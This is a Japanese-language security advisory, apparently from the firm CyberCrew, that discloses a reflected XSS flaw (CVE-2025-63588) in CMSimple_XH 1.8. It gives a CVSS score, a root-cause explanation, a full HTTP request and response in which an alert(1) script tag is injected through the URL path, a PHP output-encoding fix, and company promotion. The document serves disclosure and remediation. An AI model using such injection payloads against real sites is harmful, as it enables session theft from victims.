cybercrewinc/cve-2025-63588CVE-2025-63588の詳細な概念実証、CMSimple_XH 1.8における反射型XSS脆弱性、CVSSスコアリング、影響分析、およびセキュアコーディングによる修正例を含む。
推定 CVSS v3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N → 6.1 (Medium)
割り当て CVE: CVE-2025-63588
対象製品: CMSimple_XH - 1.8
ベンダー: CMSimple_XH - https://www.cmsimple-xh.org/
CMSimple_XH のフロントルーター解析コードには、動的なログイン関連入力を処理する際に Reflected Cross-Site Scripting (XSS) の脆弱性が存在します。アプリケーションは、リクエスト URI から取得した攻撃者制御のデータを、適切な出力エンコーディングを行わずに生成された HTML（例：フォームの action 属性やアンカーの href）に直接反映します。攻撃者は、被害者がアクセスした際に任意の JavaScript が脆弱なサイトのコンテキストで実行されるような URL を作成できます。
これは Reflected XSS（非永続型）であり、悪用には被害者が細工されたリンクをたどる必要があります。ベンダーには通知済みであり、この問題は文書化され、上記の CVE が割り当てられています。
HttpOnly が設定されていない場合、セッショントークンが窃取される可能性があります。この脆弱性は、動的なパスセグメントを解析しページ/テンプレート変数にマッピングするフロントルーター / index.php（または同等のフロントコントローラー）のコードに起因します。生のパスフラグメント（CMSimple_XH のルーターが使用する ?Templates... スタイルのフラグメント）がページテンプレートに渡され、適切な HTML 属性エンコーディングやサニタイズなしに HTML 属性に注入されるため、注入された <script> タグやその他のペイロードがそのままレンダリングされます。同様の Reflected XSS の問題は他の Web コンポーネントでも公開されており、信頼できない入力の出力エンコーディング不備が一般的な原因です。
この PoC は、攻撃者が提供した入力が返される HTML に反映され、被害者のブラウザで実行されることを示します。
リクエスト:
POST /cmsimplexh/?Templatesx6l81"><script>alert(1)</script>y92q9 HTTP/1.1
Host: 192.168.98.129:8080
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Origin: http://192.168.98.129:8080
Upgrade-Insecure-Requests: 1
Referer: http://192.168.98.129:8080/cmsimplexh/?Templates&login
Content-Type: application/x-www-form-urlencoded
Sec-CH-UA: "Chromium";v="138", "Not;A=Brand";v="24", "Google Chrome";v="138"
Sec-CH-UA-Platform: "Windows"
Sec-CH-UA-Mobile: ?0
Content-Length: 45
login=true&keycut=z9U%21q2k%21F0&submit=Login
レスポンス:
HTTP/1.1 200 OK
Host: 192.168.98.129:8080
Date: Mon, 06 Oct 2025 02:50:49 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: XH_2f636d73696d706c6578682f=v7hkld81biddtmoua1maptd18a; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Language: en
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8">
<title>English Site Title – Login</title>
<meta name="robots" content="noindex">
<meta name="keywords" content="Enter list of comma separated keywords here">
<meta name="description" content="Enter website description for search engine results here">
<link rel="stylesheet" href="./assets/css/xhstyles.css" type="text/css">
<link rel="stylesheet" href="./templates/fhs-simple-2019/stylesheet.css" type="text/css">
<meta name="robots" content="noindex">
</head>
<body class="xh_login" onload="document.forms['login'].elements['keycut'].focus();">
<div class="xh_login"><h1>Login</h1><p class="xh_fail">You have entered a wrong password!</p><p><b>Site administration. Please enter password.</b></p><form id="login" name="login" action="/cmsimplexh/?Templatesx6l81"><script>alert(1)</script>y92q9" method="post"><input type="hidden" name="login" value="true"><input type="password" name="keycut" id="passwd" value=""> <input type="submit" name="submit" id="submit" value="Login"></form><p><a href="/cmsimplexh/?Templatesx6l81"><script>alert(1)</script>y92q9">Back</a></p> </div></body>
</html>
被害者のブラウザがこのページをレンダリングすると、注入された <script>alert(1)</script> が実行されます。
$action_url = '/cmsimplexh/?' . rawurlencode($template_token);
echo '<form action="' . htmlspecialchars($action_url, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') . '" method="post">';
https://github.com/cmsimple-xh/cmsimple-xh/releases https://nvd.nist.gov/vuln/detail/CVE-2025-24576
ご質問・ご相談などございましたら、お気軽にご連絡ください。
📞 Tel： 03-6853-5823
📧 Mail：[email protected]
| 項目 | 内容 |
|---|---|
| 会社名 | 株式会社CyberCrew |
| 所在地 | 東京都千代田区外神田1-18-13 秋葉原ダイビル6階 |
組織の脆弱性を多角的に分析し、最適な改善策を提案します。
標的型・シナリオ型・LLMペンテスト まで対応。
機密情報の流出を早期に検知し、迅速に対応。
実践的な攻撃シナリオに基づく防御力評価を実施。
開発初期段階からセキュリティを考慮した設計を支援します。
🌐 公式サイト：https://www.cybercrew.co.jp
🕒 CyberCrew — あなたの信頼できるセキュリティパートナー。